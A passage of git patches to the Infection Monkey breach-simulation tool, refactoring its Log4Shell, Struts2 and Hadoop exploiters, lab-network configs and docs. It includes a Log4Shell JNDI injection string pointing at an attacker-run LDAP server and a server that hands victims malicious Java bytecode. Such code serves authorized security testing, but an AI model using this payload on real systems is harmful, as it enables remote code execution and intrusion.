"sha256:5ab7febc00689181375de40c396dcad4f2659cd260fc5e94c508b6d77c17e9d5", + "sha256:f3e7fc4718e3f09dda568b57100095e0ce58633bcabbed8667ce3f8fbaa4229f" + ], + "version": "==2.9.1" + }, + "pyasn1": { + "hashes": [ + "sha256:014c0e9976956a08139dc0712ae195324a75e142284d5f87f1a87ee1b068a359", + "sha256:03840c999ba71680a131cfaee6fab142e1ed9bbd9c693e285cc6aca0d555e576", + "sha256:0458773cfe65b153891ac249bcf1b5f8f320b7c2ce462151f8fa74de8934becf", + "sha256:08c3c53b75eaa48d71cf8c710312316392ed40899cb34710d092e96745a358b7", + "sha256:39c7e2ec30515947ff4e87fb6f456dfc6e84857d34be479c9d4a4ba4bf46aa5d", + "sha256:5c9414dcfede6e441f7e8f81b43b34e834731003427e5b09e4e00e3172a10f00", + "sha256:6e7545f1a61025a4e58bb336952c5061697da694db1cae97b116e9c46abcf7c8", + "sha256:78fa6da68ed2727915c4767bb386ab32cdba863caa7dbe473eaae45f9959da86", + "sha256:7ab8a544af125fb704feadb008c99a88805126fb525280b2270bb25cc1d78a12", + "sha256:99fcc3c8d804d1bc6d9a099921e39d827026409a58f2a720dcdb89374ea0c776", + "sha256:aef77c9fb94a3ac588e87841208bdec464471d9871bd5050a287cc9a475cd0ba", + "sha256:e89bf84b5437b532b0803ba5c9a5e054d21fec423a89952a74f87fa2c9b7bce2", + "sha256:fec3e9d8e36808a28efb59b489e4528c10ad0f480e57dcc32b4de5c9d8c9fdf3" + ], + "version": "==0.4.8" + } + } +} From e3f9312ff9b2db8c7100db89bb1735af5cdad723 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 18 Jan 2022 11:44:47 +0200 Subject: [PATCH 63/77] BB: change log4j exploit depth to 1 (default) This change is necessary to make sure that exploitation is successfull from a particular machine being tested. --- envs/monkey_zoo/blackbox/config_templates/log4j_logstash.py | 1 - envs/monkey_zoo/blackbox/config_templates/log4j_solr.py | 1 - envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py | 1 - 3 files changed, 3 deletions(-) diff --git a/envs/monkey_zoo/blackbox/config_templates/log4j_logstash.py b/envs/monkey_zoo/blackbox/config_templates/log4j_logstash.py index 54c91ccca..9f39a38c7 100644 --- a/envs/monkey_zoo/blackbox/config_templates/log4j_logstash.py +++ b/envs/monkey_zoo/blackbox/config_templates/log4j_logstash.py @@ -11,7 +11,6 @@ class Log4jLogstash(ConfigTemplate): config_values.update( { "basic.exploiters.exploiter_classes": ["Log4ShellExploiter"], - "basic_network.scope.depth": 2, "basic_network.scope.subnet_scan_list": ["10.2.3.55", "10.2.3.56"], } ) diff --git a/envs/monkey_zoo/blackbox/config_templates/log4j_solr.py b/envs/monkey_zoo/blackbox/config_templates/log4j_solr.py index ad5923b16..77d513e74 100644 --- a/envs/monkey_zoo/blackbox/config_templates/log4j_solr.py +++ b/envs/monkey_zoo/blackbox/config_templates/log4j_solr.py @@ -11,7 +11,6 @@ class Log4jSolr(ConfigTemplate): config_values.update( { "basic.exploiters.exploiter_classes": ["Log4ShellExploiter"], - "basic_network.scope.depth": 2, "basic_network.scope.subnet_scan_list": ["10.2.3.49", "10.2.3.50"], } ) diff --git a/envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py b/envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py index a2274a256..29a2269a0 100644 --- a/envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py +++ b/envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py @@ -11,7 +11,6 @@ class Log4jTomcat(ConfigTemplate): config_values.update( { "basic.exploiters.exploiter_classes": ["Log4ShellExploiter"], - "basic_network.scope.depth": 2, "basic_network.scope.subnet_scan_list": ["10.2.3.51", "10.2.3.52"], } ) From 52ac7dd295a7831d729bb07b96084e53a8e4ae6c Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 18 Jan 2022 12:09:30 +0200 Subject: [PATCH 64/77] Agent: fix a bug in web_rce url building build_potential_urls was made static and takes IP as first parameter, but the users of this method wasn't changed and only passed ports --- monkey/infection_monkey/exploit/hadoop.py | 4 ++-- .../exploit/log4shell_utils/ldap_server.py | 5 ----- monkey/infection_monkey/exploit/web_rce.py | 7 +++++-- 3 files changed, 7 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index f221ebe1f..f3fd7d095 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -27,7 +27,7 @@ from infection_monkey.utils.commands import build_monkey_commandline class HadoopExploiter(WebRCE): _TARGET_OS_TYPE = ["linux", "windows"] _EXPLOITED_SERVICE = "Hadoop" - HADOOP_PORTS = [["8088", False]] + HADOOP_PORTS = [("8088", False)] # How long we have our http server open for downloads in seconds DOWNLOAD_TIMEOUT = 60 # Random string's length that's used for creating unique app name @@ -38,7 +38,7 @@ class HadoopExploiter(WebRCE): def _exploit_host(self): # Try to get exploitable url - urls = self.build_potential_urls(self.HADOOP_PORTS) + urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS) self.add_vulnerable_urls(urls, True) if not self.vulnerable_urls: return False diff --git a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py index 074779f59..f0a4f3e18 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py @@ -77,18 +77,14 @@ class LDAPExploitServer: ): """ :param ldap_server_port: The port that the LDAP server will listen on. - :type ldap_server_port: int :param http_server_ip: The IP address of the HTTP server that serves the malicious Log4Shell Java class. - :type http_server_ip: str :param http_server_port: The port the HTTP server is listening on. - :type ldap_server_port: int :param storage_dir: A directory where the LDAP server can safely store files it needs during runtime. - :type storage_dir: Path """ self._reactor_startup_completed = multiprocessing.Event() self._ldap_server_port = ldap_server_port @@ -173,7 +169,6 @@ class LDAPExploitServer: argument is None (the default), the method blocks until the LDAP server terminates. If `timeout` is a positive floating point number, this method blocks for at most `timeout` seconds. - :type timeout: float """ if self._server_process.is_alive(): logger.debug("Stopping LDAP exploit server") diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 2be55ce3e..1396b095d 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -2,6 +2,7 @@ import logging import re from abc import abstractmethod from posixpath import join +from typing import List, Tuple from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 @@ -100,7 +101,9 @@ class WebRCE(HostExploiter): if not ports: return False # Get urls to try to exploit - potential_urls = self.build_potential_urls(ports, exploit_config["url_extensions"]) + potential_urls = self.build_potential_urls( + self.host.ip_addr, ports, exploit_config["url_extensions"] + ) self.add_vulnerable_urls(potential_urls, exploit_config["stop_checking_urls"]) if not self.are_vulnerable_urls_sufficient(): @@ -220,7 +223,7 @@ class WebRCE(HostExploiter): return False @staticmethod - def build_potential_urls(ip: str, ports, extensions=None): + def build_potential_urls(ip: str, ports: List[Tuple[str, bool]], extensions=None): """ Build all possibly-vulnerable URLs on a specific host, based on the relevant ports and extensions. From 76a32d241c24e587c405c7ae68ca8fab04d5536b Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 18 Jan 2022 12:48:56 +0200 Subject: [PATCH 65/77] Agent: log4shell readability and style fixes --- monkey/infection_monkey/exploit/log4shell.py | 14 +++++--------- 1 file changed, 5 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index d33b7d0bd..5b78b0a95 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -33,7 +33,7 @@ class Log4ShellExploiter(WebRCE): EXPLOIT_TYPE = ExploitType.VULNERABILITY _EXPLOITED_SERVICE = "Log4j" DOWNLOAD_TIMEOUT = 15 - REQUEST_TO_VICTIM_TIME = 5 # How long the request from victim to monkey might take. In seconds + REQUEST_TO_VICTIM_TIME = 5 # Max time agent will wait for the response from victim in SECONDS def __init__(self, host: VictimHost): super().__init__(host) @@ -41,7 +41,7 @@ class Log4ShellExploiter(WebRCE): self._ldap_port = get_free_tcp_port() self._class_http_server_ip = get_interface_to_target(self.host.ip_addr) - self.class_http_server_port = get_free_tcp_port() + self._class_http_server_port = get_free_tcp_port() self._ldap_server = None self._exploit_class_http_server = None @@ -71,21 +71,17 @@ class Log4ShellExploiter(WebRCE): def _start_agent_http_server(self, agent_paths: dict) -> str: # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer( + http_path, http_thread = HTTPTools.try_create_locked_transfer( self.host, agent_paths["src_path"] ) self._agent_http_server_thread = http_thread - if not http_path: - logger.debug("Exploiter failed, couldn't start an http server to serve agent.") - raise Exception("Http server creation failed") - logger.info("Started http server on %s", http_path) return http_path def _start_class_http_server(self, command: str): java_class = self._build_java_class(command) self._exploit_class_http_server = ExploitClassHTTPServer( - self._class_http_server_ip, self.class_http_server_port, java_class + self._class_http_server_ip, self._class_http_server_port, java_class ) # Setting `daemon=True` to save ourselves some trouble when this is merged to the # agent-refactor branch. @@ -100,7 +96,7 @@ class Log4ShellExploiter(WebRCE): self._ldap_server = LDAPExploitServer( ldap_server_port=self._ldap_port, http_server_ip=self._class_http_server_ip, - http_server_port=self.class_http_server_port, + http_server_port=self._class_http_server_port, storage_dir=get_monkey_dir_path(), ) From 03919c3cafb4b94780648fef0f821f8cb58fe1ab Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 18 Jan 2022 14:29:57 +0200 Subject: [PATCH 66/77] Agent: fix struts2 url building --- monkey/infection_monkey/exploit/struts2.py | 16 +++++----------- 1 file changed, 5 insertions(+), 11 deletions(-) diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py index 8bf2c788b..4f6d4f1fd 100644 --- a/monkey/infection_monkey/exploit/struts2.py +++ b/monkey/infection_monkey/exploit/struts2.py @@ -10,6 +10,7 @@ import ssl import urllib.error import urllib.parse import urllib.request +from typing import List, Tuple from infection_monkey.exploit.web_rce import WebRCE @@ -30,17 +31,10 @@ class Struts2Exploiter(WebRCE): exploit_config["dropper"] = True return exploit_config - def build_potential_urls(self, ports, extensions=None): - """ - We need to override this method to get redirected url's - :param ports: Array of ports. One port is described as size 2 array: [port.no(int), - isHTTPS?(bool)] - Eg. ports: [[80, False], [443, True]] - :param extensions: What subdirectories to scan. www.domain.com[/extension] - :return: Array of url's to try and attack - """ - url_list = WebRCE.build_potential_urls(self.host.ip_addr, ports) - url_list = [self.get_redirected(url) for url in url_list] + @staticmethod + def build_potential_urls(ip: str, ports: List[Tuple[str, bool]], extensions=None): + url_list = WebRCE.build_potential_urls(ip, ports) + url_list = [Struts2Exploiter.get_redirected(url) for url in url_list] return url_list @staticmethod From a5a4957c29c5dea25416d50670cbc15ad9dae0ab Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 18 Jan 2022 15:01:47 +0200 Subject: [PATCH 67/77] Agent: small readability and style improvements --- monkey/infection_monkey/exploit/log4shell.py | 7 ++----- monkey/infection_monkey/exploit/struts2.py | 2 +- monkey/infection_monkey/exploit/web_rce.py | 6 ++++-- vulture_allowlist.py | 3 --- 4 files changed, 7 insertions(+), 11 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 5b78b0a95..2eada8a0d 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -104,11 +104,9 @@ class Log4ShellExploiter(WebRCE): def _stop_servers(self): logger.debug("Stopping all LDAP and HTTP Servers") - self._agent_http_server_thread.stop() - self._agent_http_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + self._agent_http_server_thread.stop(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - self._exploit_class_http_server.stop() - self._exploit_class_http_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + self._exploit_class_http_server.stop(Log4ShellExploiter.DOWNLOAD_TIMEOUT) self._ldap_server.stop(Log4ShellExploiter.DOWNLOAD_TIMEOUT) @@ -116,7 +114,6 @@ class Log4ShellExploiter(WebRCE): interface_ip = get_interface_to_target(self.host.ip_addr) return f"${{jndi:ldap://{interface_ip}:{self._ldap_port}/dn=Exploit}}" - # TODO remove duplication with infection_monkey.exploit.hadoop.HadoopExploiter.build_command def _build_command(self, path, http_path) -> str: # Build command to execute monkey_cmd = build_monkey_commandline( diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py index 4f6d4f1fd..5efb7a64d 100644 --- a/monkey/infection_monkey/exploit/struts2.py +++ b/monkey/infection_monkey/exploit/struts2.py @@ -32,7 +32,7 @@ class Struts2Exploiter(WebRCE): return exploit_config @staticmethod - def build_potential_urls(ip: str, ports: List[Tuple[str, bool]], extensions=None): + def build_potential_urls(ip: str, ports: List[Tuple[str, bool]], extensions=None) -> List[str]: url_list = WebRCE.build_potential_urls(ip, ports) url_list = [Struts2Exploiter.get_redirected(url) for url in url_list] return url_list diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 1396b095d..715a94b1c 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -159,7 +159,9 @@ class WebRCE(HostExploiter): raise NotImplementedError() @staticmethod - def get_open_service_ports(victim_host: VictimHost, port_list, names): # noqa: F821 + def get_open_service_ports( + victim_host: VictimHost, port_list: List[Tuple[str, bool]], names: List[str] + ): # noqa: F821 """ :param victim_host: VictimHost object that exploiter is targeting :param port_list: Potential ports to exploit. For example _config.HTTP_PORTS @@ -223,7 +225,7 @@ class WebRCE(HostExploiter): return False @staticmethod - def build_potential_urls(ip: str, ports: List[Tuple[str, bool]], extensions=None): + def build_potential_urls(ip: str, ports: List[Tuple[str, bool]], extensions=None) -> List[str]: """ Build all possibly-vulnerable URLs on a specific host, based on the relevant ports and extensions. diff --git a/vulture_allowlist.py b/vulture_allowlist.py index b8509e6b8..bb89a7eb7 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -5,9 +5,6 @@ Vulture doesn't mark these as dead again. """ from infection_monkey.exploit.log4shell_utils.ldap_server import LDAPServerFactory from monkey_island.cc.models import Report -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_descriptor_enum import ( - ExploiterDescriptorEnum, -) fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:37) set_os_linux # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:37) From 212fb3a65393bb1548a2811820073bc303da5755 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 18 Jan 2022 15:23:59 +0200 Subject: [PATCH 68/77] BB: black format config_generation_script.py --- envs/monkey_zoo/blackbox/utils/config_generation_script.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/envs/monkey_zoo/blackbox/utils/config_generation_script.py b/envs/monkey_zoo/blackbox/utils/config_generation_script.py index 27387ed8d..305d71658 100644 --- a/envs/monkey_zoo/blackbox/utils/config_generation_script.py +++ b/envs/monkey_zoo/blackbox/utils/config_generation_script.py @@ -58,7 +58,7 @@ CONFIG_TEMPLATES = [ Drupal, Log4jLogstash, Log4jTomcat, - Log4jSolr + Log4jSolr, ] From 63085273a97f671c78cdcb0b76c9d13d1360c1ed Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 18 Jan 2022 08:54:02 -0500 Subject: [PATCH 69/77] Agent: Encapsulate parallelism in ExploitClassHTTPServer --- monkey/infection_monkey/exploit/log4shell.py | 12 +------- .../exploit_class_http_server.py | 28 +++++++++++++++---- .../exploit/log4shell_utils/ldap_server.py | 2 +- .../test_exploit_class_http_server.py | 6 +--- 4 files changed, 26 insertions(+), 22 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 2eada8a0d..48d331aaa 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -1,5 +1,4 @@ import logging -from threading import Thread from time import sleep from common.utils.exploit_enum import ExploitType @@ -45,7 +44,6 @@ class Log4ShellExploiter(WebRCE): self._ldap_server = None self._exploit_class_http_server = None - self._exploit_class_http_server_thread = None self._agent_http_server_thread = None def _exploit_host(self): @@ -83,14 +81,7 @@ class Log4ShellExploiter(WebRCE): self._exploit_class_http_server = ExploitClassHTTPServer( self._class_http_server_ip, self._class_http_server_port, java_class ) - # Setting `daemon=True` to save ourselves some trouble when this is merged to the - # agent-refactor branch. - # TODO: Make a call to `create_daemon_thread()` instead of calling the `Thread()` - # constructor directly after merging to the agent-refactor branch. - self._exploit_class_http_server_thread = Thread( - target=self._exploit_class_http_server.run, daemon=True - ) - self._exploit_class_http_server_thread.start() + self._exploit_class_http_server.run() def _start_ldap_server(self): self._ldap_server = LDAPExploitServer( @@ -99,7 +90,6 @@ class Log4ShellExploiter(WebRCE): http_server_port=self._class_http_server_port, storage_dir=get_monkey_dir_path(), ) - self._ldap_server.run() def _stop_servers(self): diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py index c10a70d2e..c93f910e6 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py @@ -38,6 +38,13 @@ class ExploitClassHTTPServer: self._initialize_http_handler(java_class) self._server = http.server.HTTPServer((ip, port), HTTPHandler) + # Setting `daemon=True` to save ourselves some trouble when this is merged to the + # agent-refactor branch. + # TODO: Make a call to `create_daemon_thread()` instead of calling the `Thread()` + # constructor directly after merging to the agent-refactor branch. + self._server_thread = threading.Thread( + target=self._server.serve_forever, args=(self._poll_interval,), daemon=True + ) def _initialize_http_handler(self, java_class: bytes): HTTPHandler.java_class = java_class @@ -47,12 +54,23 @@ class ExploitClassHTTPServer: logger.info("Starting ExploitClassHTTPServer") self._class_downloaded.clear() - self._server.serve_forever(self._poll_interval) - logger.debug("The Java Exploit class HTTP server has stopped") + # NOTE: Unlike in LDAPExploitServer, we theoretically don't need to worry about a race + # between when `serve_forever()` is ready to handle requests and when the victim machine + # sends its requests. See + # https://stackoverflow.com/questions/22606480/how-can-i-test-if-python-http-server-httpserver-is-serving-forever + # for more information. + self._server_thread.start() - def stop(self): - logger.debug("Stopping the Java Exploit class HTTP server") - self._server.shutdown() + def stop(self, timeout: float = None): + if self._server_thread.is_alive(): + logger.debug("Stopping the Java Exploit class HTTP server") + self._server.shutdown() + self._server_thread.join(timeout) + + if self._server_thread.is_alive(): + logger.warning("Timed out while waiting for The HTTP exploit server to stop") + else: + logger.debug("The Java Exploit class HTTP server has stopped") def exploit_class_downloaded(self) -> bool: return self._class_downloaded.is_set() diff --git a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py index f0a4f3e18..0b29fd4cf 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py @@ -179,6 +179,6 @@ class LDAPExploitServer: self._server_process.join(timeout) if self._server_process.is_alive(): - logger.warning("Timed out while waiting for the LDAP exploit server to stop.") + logger.warning("Timed out while waiting for the LDAP exploit server to stop") else: logger.debug("Successfully stopped the LDAP exploit server") diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py index d111ef825..b22ef41da 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py @@ -1,5 +1,3 @@ -import threading - import pytest import requests @@ -25,13 +23,11 @@ def java_class(): @pytest.fixture def server(ip, port, java_class): server = ExploitClassHTTPServer(ip, port, java_class, 0.01) - server_thread = threading.Thread(target=server.run) - server_thread.start() + server.run() yield server server.stop() - server_thread.join() @pytest.fixture From 1840dd54cace00b79954a2aa8f586f8b803cedf0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 18 Jan 2022 12:33:06 -0500 Subject: [PATCH 70/77] Agent: Add class documentation to ExploitClassHTTPServer --- .../exploit_class_http_server.py | 38 ++++++++++++++++++- 1 file changed, 37 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py index c93f910e6..9b82de1d6 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py @@ -7,6 +7,9 @@ logger = logging.getLogger(__name__) HTTP_TOO_MANY_REQUESTS_ERROR_CODE = 429 +# If we need to run multiple HTTP servers in parallel, we'll need to either: +# 1. Use multiprocessing so that each HTTPHandler class has its own class_downloaded variable +# 2. Create a metaclass and define the handler class dymanically at runtime class HTTPHandler(http.server.BaseHTTPRequestHandler): java_class: bytes @@ -29,7 +32,21 @@ class HTTPHandler(http.server.BaseHTTPRequestHandler): class ExploitClassHTTPServer: + """ + An HTTP server that serves Java bytecode for use with the Log4Shell exploiter. This server + limits the number of requests to one. That is, after one victim has downloaded the java + bytecode, the server will respond with a 429 error to all future requests. + + Note: There can only be one instance of this class at a time due to the way it is implemented. + """ + def __init__(self, ip: str, port: int, java_class: bytes, poll_interval: float = 0.5): + """ + :param ip: The IP address that the server will bind to + :param port: The port that the server will listen on + :param java_class: The compiled Java bytecode that the server will serve + :param poll_interval: Poll for shutdown every `poll_interval` seconds, defaults to 0.5. + """ logger.debug(f"The Java Exploit class will be served at {ip}:{port}") self._class_downloaded = threading.Event() @@ -51,17 +68,29 @@ class ExploitClassHTTPServer: HTTPHandler.class_downloaded = self._class_downloaded def run(self): + """ + Runs the HTTP server in the background and blocks until the server has started. + """ logger.info("Starting ExploitClassHTTPServer") self._class_downloaded.clear() # NOTE: Unlike in LDAPExploitServer, we theoretically don't need to worry about a race # between when `serve_forever()` is ready to handle requests and when the victim machine - # sends its requests. See + # sends its requests. This could change if we switch from multithreading to multiprocessing. + # See # https://stackoverflow.com/questions/22606480/how-can-i-test-if-python-http-server-httpserver-is-serving-forever # for more information. self._server_thread.start() def stop(self, timeout: float = None): + """ + Stops the HTTP server. + + :param timeout: A floating point number of seconds to wait for the server to stop. If this + argument is None (the default), the method blocks until the HTTP server + terminates. If `timeout` is a positive floating point number, this method + blocks for at most `timeout` seconds. + """ if self._server_thread.is_alive(): logger.debug("Stopping the Java Exploit class HTTP server") self._server.shutdown() @@ -73,4 +102,11 @@ class ExploitClassHTTPServer: logger.debug("The Java Exploit class HTTP server has stopped") def exploit_class_downloaded(self) -> bool: + """ + Returns whether or not a victim has downloaded the Java bytecode from the server. + + :return: True if the victim has downloaded the Java bytecode from the server. False + otherwise. + :rtype: bool + """ return self._class_downloaded.is_set() From 76d6071f7c175b6526a34e56018a1b175aab1888 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 19 Jan 2022 15:09:03 +0200 Subject: [PATCH 71/77] Island: add cve link to log4shell report --- .../report-components/security/issues/Log4ShellIssue.js | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js index 4c1bffb39..d76b3131f 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js @@ -14,7 +14,8 @@ export function log4shellIssueReport(issue) { className="badge badge-info" style={{margin: '2px'}}>{issue.ip_address}:{issue.port}) is vulnerable to the Log4Shell remote code execution attack.
    - The attack was made possible due to an old version of Apache Log4j component. + The attack was made possible due to an old version of Apache Log4j component. CVE-2021-44228 ); From d0e26f770f6281e4ff564ed7871ab484dd4034d0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 19 Jan 2022 15:14:18 -0500 Subject: [PATCH 72/77] Agent: Add lock to HTTPHandler.do_GET() to avoid potential race --- .../exploit_class_http_server.py | 28 +++++++++++-------- 1 file changed, 17 insertions(+), 11 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py index 9b82de1d6..6b956529b 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py @@ -14,15 +14,25 @@ class HTTPHandler(http.server.BaseHTTPRequestHandler): java_class: bytes class_downloaded: threading.Event + download_lock: threading.Lock + + @classmethod + def initialize(cls, java_class: bytes, class_downloaded: threading.Event): + cls.java_class = java_class + cls.class_downloaded = class_downloaded + cls.download_lock = threading.Lock() def do_GET(self): - if HTTPHandler.class_downloaded.is_set(): - self.send_error( - HTTP_TOO_MANY_REQUESTS_ERROR_CODE, "Java exploit class has already been downloaded" - ) - return + with HTTPHandler.download_lock: + if HTTPHandler.class_downloaded.is_set(): + self.send_error( + HTTP_TOO_MANY_REQUESTS_ERROR_CODE, + "Java exploit class has already been downloaded", + ) + return + + HTTPHandler.class_downloaded.set() - HTTPHandler.class_downloaded.set() logger.info("Java class servergot a GET request!") self.send_response(200) self.send_header("Content-type", "application/octet-stream") @@ -52,7 +62,7 @@ class ExploitClassHTTPServer: self._class_downloaded = threading.Event() self._poll_interval = poll_interval - self._initialize_http_handler(java_class) + HTTPHandler.initialize(java_class, self._class_downloaded) self._server = http.server.HTTPServer((ip, port), HTTPHandler) # Setting `daemon=True` to save ourselves some trouble when this is merged to the @@ -63,10 +73,6 @@ class ExploitClassHTTPServer: target=self._server.serve_forever, args=(self._poll_interval,), daemon=True ) - def _initialize_http_handler(self, java_class: bytes): - HTTPHandler.java_class = java_class - HTTPHandler.class_downloaded = self._class_downloaded - def run(self): """ Runs the HTTP server in the background and blocks until the server has started. From ce8c1782976595bd87e2d2f156484f8d5c559a06 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 20 Jan 2022 17:24:11 +0530 Subject: [PATCH 73/77] BB: Add Log4Shell zoo machines to table of contents, grammar fixes --- envs/monkey_zoo/docs/fullDocs.md | 26 ++++++++++++++------------ 1 file changed, 14 insertions(+), 12 deletions(-) diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index 01328eb03..a9ed488ba 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -39,8 +39,10 @@ This document describes Infection Monkey’s test network, how to deploy and use [Nr. 3-50 Log4j Solr](#_Toc536021484)
    [Nr. 3-51 Log4j Tomcat](#_Toc536021485)
    [Nr. 3-52 Log4j Tomcat](#_Toc536021486)
    -[Nr. 250 MonkeyIsland](#_Toc536021487)
    -[Nr. 251 MonkeyIsland](#_Toc536021488)
    +[Nr. 3-55 Log4j Logstash](#_Toc536021487)
    +[Nr. 3-56 Log4j Logstash](#_Toc536021488)
    +[Nr. 250 MonkeyIsland](#_Toc536021489)
    +[Nr. 251 MonkeyIsland](#_Toc536021490)
    [Network topography](#network-topography)
    # Warning\! @@ -505,7 +507,7 @@ Update all requirements using deployment script:
    - +
    Notes:Accessible only trough Nr.9Accessible only through Nr.9
    @@ -541,7 +543,7 @@ Update all requirements using deployment script:
    Notes: -Accessible only trough Nr.10 +Accessible only through Nr.10 @@ -573,7 +575,7 @@ Update all requirements using deployment script:
    Notes: -Accessible only trough Nr.10 +Accessible only through Nr.10 @@ -1289,7 +1291,7 @@ Update all requirements using deployment script:
    - @@ -1317,7 +1319,7 @@ Update all requirements using deployment script:

    Nr. 3-52 Log4j-tomcat

    +

    Nr. 3-52 Log4j Tomcat

    (10.2.3.52)

    (Vulnerable)
    - @@ -1347,7 +1349,7 @@ Update all requirements using deployment script:

    Nr. 3-55 Log4j Logstash

    +

    Nr. 3-55 Log4j Logstash

    (10.2.3.55)

    (Vulnerable)
    - @@ -1377,7 +1379,7 @@ Update all requirements using deployment script:

    Nr. 3-56 Log4j-logstash

    +

    Nr. 3-56 Log4j Logstash

    (10.2.3.56)

    (Vulnerable)
    - @@ -1401,7 +1403,7 @@ Update all requirements using deployment script:
    - +

    Nr. 250 MonkeyIsland

    +

    Nr. 250 MonkeyIsland

    (10.2.2.250)

    Notes:Only accessible trough GCPOnly accessible through GCP
    @@ -1409,7 +1411,7 @@ Update all requirements using deployment script:
    - @@ -1433,7 +1435,7 @@ Update all requirements using deployment script:
    - +

    Nr. 251 MonkeyIsland

    +

    Nr. 251 MonkeyIsland

    (10.2.2.251)

    Notes:Only accessible trough GCPOnly accessible through GCP
